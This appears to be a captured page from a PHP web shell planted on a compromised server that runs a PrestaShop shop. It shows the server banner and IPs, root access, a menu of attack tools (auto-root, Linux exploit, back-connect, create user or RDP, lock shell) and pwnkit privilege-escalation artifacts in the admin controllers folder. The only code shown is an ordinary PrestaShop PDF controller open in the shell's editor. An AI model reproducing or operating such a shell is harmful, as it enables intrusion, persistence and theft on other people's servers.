Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
tienda /
controllers /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
AdminAccessController.php
7.78
KB
-rwxrwxrwx
AdminAddressesController.php
23.22
KB
-rwxrwxrwx
AdminAttachmentsController.php
10.82
KB
-rwxrwxrwx
AdminAttributeGeneratorControl...
11.64
KB
-rwxrwxrwx
AdminAttributesGroupsControlle...
39.86
KB
-rwxrwxrwx
AdminCarrierWizardController.p...
41.3
KB
-rwxrwxrwx
AdminCarriersController.php
32.71
KB
-rwxrwxrwx
AdminCartRulesController.php
36.98
KB
-rwxrwxrwx
AdminCartsController.php
43.43
KB
-rwxrwxrwx
AdminCmsCategoriesController.p...
15.95
KB
-rwxrwxrwx
AdminCmsContentController.php
12.28
KB
-rwxrwxrwx
AdminCmsController.php
21.71
KB
-rwxrwxrwx
AdminCountriesController.php
22.32
KB
-rwxrwxrwx
AdminCustomerThreadsController...
55.03
KB
-rwxrwxrwx
AdminDashboardController.php
27.3
KB
-rwxrwxrwx
AdminFeaturesController.php
24.43
KB
-rwxrwxrwx
AdminGendersController.php
8.68
KB
-rwxrwxrwx
AdminGroupsController.php
26.44
KB
-rwxrwxrwx
AdminImagesController.php
38.1
KB
-rwxrwxrwx
AdminImportController.php
243.47
KB
-rwxrwxrwx
AdminLegacyLayoutController.ph...
5.3
KB
-rwxrwxrwx
AdminLoginController.php
18.83
KB
-rwxrwxrwx
AdminManufacturersController.p...
33.08
KB
-rwxrwxrwx
AdminModulesController.php
76.11
KB
-rwxrwxrwx
AdminModulesPositionsControlle...
29.95
KB
-rwxrwxrwx
AdminNotFoundController.php
1.63
KB
-rwxrwxrwx
AdminOrderMessageController.ph...
3.75
KB
-rwxrwxrwx
AdminOrdersController.php
163.18
KB
-rwxrwxrwx
AdminOutstandingController.php
6.35
KB
-rwxrwxrwx
AdminPatternsController.php
25.68
KB
-rwxrwxrwx
AdminPdfController.php
8.29
KB
-rwxrwxrwx
AdminPreferencesController.php
13.12
KB
-rwxrwxrwx
AdminProductsController.php
160.91
KB
-rwxrwxrwx
AdminQuickAccessesController.p...
9.71
KB
-rwxrwxrwx
AdminReferrersController.php
22.15
KB
-rwxrwxrwx
AdminRequestSqlController.php
21.3
KB
-rwxrwxrwx
AdminReturnController.php
14.81
KB
-rwxrwxrwx
AdminSearchConfController.php
20
KB
-rwxrwxrwx
AdminSearchController.php
23.76
KB
-rwxrwxrwx
AdminSearchEnginesController.p...
3.63
KB
-rwxrwxrwx
AdminShopController.php
37
KB
-rwxrwxrwx
AdminShopGroupController.php
14.86
KB
-rwxrwxrwx
AdminShopUrlController.php
24.39
KB
-rwxrwxrwx
AdminSlipController.php
7.49
KB
-rwxrwxrwx
AdminSpecificPriceRuleControll...
16.15
KB
-rwxrwxrwx
AdminStatesController.php
12.87
KB
-rwxrwxrwx
AdminStatsController.php
45.06
KB
-rwxrwxrwx
AdminStatsTabController.php
11.74
KB
-rwxrwxrwx
AdminStatusesController.php
28.42
KB
-rwxrwxrwx
AdminStoresController.php
25.29
KB
-rwxrwxrwx
AdminSuppliersController.php
24.36
KB
-rwxrwxrwx
AdminTabsController.php
14.39
KB
-rwxrwxrwx
AdminTagsController.php
5.61
KB
-rwxrwxrwx
AdminTaxRulesGroupController.p...
22.51
KB
-rwxrwxrwx
AdminTrackingController.php
19.57
KB
-rwxrwxrwx
AdminTranslationsController.ph...
149.28
KB
-rwxrwxrwx
AdminZonesController.php
5.38
KB
-rwxrwxrwx
BoOrder.php
1.25
KB
-rwxrwxrwx
index.php
1.29
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AdminPdfController.php
<?php /** * 2007-2019 PrestaShop and Contributors * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2019 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ class AdminPdfControllerCore extends AdminController { public function postProcess() { parent::postProcess(); // We want to be sure that displaying PDF is the last thing this controller will do exit; } public function initProcess() { parent::initProcess(); $this->checkCacheFolder(); $access = Profile::getProfileAccess($this->context->employee->id_profile, (int) Tab::getIdFromClassName('AdminOrders')); if ($access['view'] === '1' && ($action = Tools::getValue('submitAction'))) { $this->action = $action; } else { $this->errors[] = $this->trans('You do not have permission to view this.', array(), 'Admin.Notifications.Error'); } } public function checkCacheFolder() { if (!is_dir(_PS_CACHE_DIR_ . 'tcpdf/')) { mkdir(_PS_CACHE_DIR_ . 'tcpdf/'); } } public function processGenerateInvoicePdf() { if (Tools::isSubmit('id_order')) { $this->generateInvoicePDFByIdOrder(Tools::getValue('id_order')); } elseif (Tools::isSubmit('id_order_invoice')) { $this->generateInvoicePDFByIdOrderInvoice(Tools::getValue('id_order_invoice')); } else { die($this->trans('The order ID -- or the invoice order ID -- is missing.', array(), 'Admin.Orderscustomers.Notification')); } } public function processGenerateOrderSlipPDF() { $order_slip = new OrderSlip((int) Tools::getValue('id_order_slip')); $order = new Order((int) $order_slip->id_order); if (!Validate::isLoadedObject($order)) { die($this->trans('The order cannot be found within your database.', array(), 'Admin.Orderscustomers.Notification')); } $order->products = OrderSlip::getOrdersSlipProducts($order_slip->id, $order); $this->generatePDF($order_slip, PDF::TEMPLATE_ORDER_SLIP); } public function processGenerateDeliverySlipPDF() { if (Tools::isSubmit('id_order')) { $this->generateDeliverySlipPDFByIdOrder((int) Tools::getValue('id_order')); } elseif (Tools::isSubmit('id_order_invoice')) { $this->generateDeliverySlipPDFByIdOrderInvoice((int) Tools::getValue('id_order_invoice')); } elseif (Tools::isSubmit('id_delivery')) { $order = Order::getByDelivery((int) Tools::getValue('id_delivery')); $this->generateDeliverySlipPDFByIdOrder((int) $order->id); } else { die($this->trans('The order ID -- or the invoice order ID -- is missing.', array(), 'Admin.Orderscustomers.Notification')); } } public function processGenerateInvoicesPDF() { $order_invoice_collection = OrderInvoice::getByDateInterval(Tools::getValue('date_from'), Tools::getValue('date_to')); if (!count($order_invoice_collection)) { die($this->trans('No invoice was found.', array(), 'Admin.Orderscustomers.Notification')); } $this->generatePDF($order_invoice_collection, PDF::TEMPLATE_INVOICE); } public function processGenerateInvoicesPDF2() { $order_invoice_collection = array(); foreach (explode('-', Tools::getValue('id_order_state')) as $id_order_state) { if (is_array($order_invoices = OrderInvoice::getByStatus((int) $id_order_state))) { $order_invoice_collection = array_merge($order_invoices, $order_invoice_collection); } } if (!count($order_invoice_collection)) { die($this->trans('No invoice was found.', array(), 'Admin.Orderscustomers.Notification')); } $this->generatePDF($order_invoice_collection, PDF::TEMPLATE_INVOICE); } public function processGenerateOrderSlipsPDF() { $id_order_slips_list = OrderSlip::getSlipsIdByDate(Tools::getValue('date_from'), Tools::getValue('date_to')); if (!count($id_order_slips_list)) { die($this->trans('No order slips were found.', array(), 'Admin.Orderscustomers.Notification')); } $order_slips = array(); foreach ($id_order_slips_list as $id_order_slips) { $order_slips[] = new OrderSlip((int) $id_order_slips); } $this->generatePDF($order_slips, PDF::TEMPLATE_ORDER_SLIP); } public function processGenerateDeliverySlipsPDF() { $order_invoice_collection = OrderInvoice::getByDeliveryDateInterval(Tools::getValue('date_from'), Tools::getValue('date_to')); if (!count($order_invoice_collection)) { die($this->trans('No invoice was found.', array(), 'Admin.Orderscustomers.Notification')); } $this->generatePDF($order_invoice_collection, PDF::TEMPLATE_DELIVERY_SLIP); } public function processGenerateSupplyOrderFormPDF() { if (!Tools::isSubmit('id_supply_order')) { die($this->trans('The supply order ID is missing.', array(), 'Admin.Orderscustomers.Notification')); } $id_supply_order = (int) Tools::getValue('id_supply_order'); $supply_order = new SupplyOrder($id_supply_order); if (!Validate::isLoadedObject($supply_order)) { die($this->trans('The supply order cannot be found within your database.', array(), 'Admin.Orderscustomers.Notification')); } $this->generatePDF($supply_order, PDF::TEMPLATE_SUPPLY_ORDER_FORM); } public function generateDeliverySlipPDFByIdOrder($id_order) { $order = new Order((int) $id_order); if (!Validate::isLoadedObject($order)) { throw new PrestaShopException('Can\'t load Order object'); } $order_invoice_collection = $order->getInvoicesCollection(); $this->generatePDF($order_invoice_collection, PDF::TEMPLATE_DELIVERY_SLIP); } public function generateDeliverySlipPDFByIdOrderInvoice($id_order_invoice) { $order_invoice = new OrderInvoice((int) $id_order_invoice); if (!Validate::isLoadedObject($order_invoice)) { throw new PrestaShopException('Can\'t load Order Invoice object'); } $this->generatePDF($order_invoice, PDF::TEMPLATE_DELIVERY_SLIP); } public function generateInvoicePDFByIdOrder($id_order) { $order = new Order((int) $id_order); if (!Validate::isLoadedObject($order)) { die($this->trans('The order cannot be found within your database.', array(), 'Admin.Orderscustomers.Notification')); } $order_invoice_list = $order->getInvoicesCollection(); Hook::exec('actionPDFInvoiceRender', array('order_invoice_list' => $order_invoice_list)); $this->generatePDF($order_invoice_list, PDF::TEMPLATE_INVOICE); } public function generateInvoicePDFByIdOrderInvoice($id_order_invoice) { $order_invoice = new OrderInvoice((int) $id_order_invoice); if (!Validate::isLoadedObject($order_invoice)) { die($this->trans('The order invoice cannot be found within your database.', array(), 'Admin.Orderscustomers.Notification')); } Hook::exec('actionPDFInvoiceRender', array('order_invoice_list' => array($order_invoice))); $this->generatePDF($order_invoice, PDF::TEMPLATE_INVOICE); } public function generatePDF($object, $template) { $pdf = new PDF($object, $template, Context::getContext()->smarty); $pdf->render(); } }
Close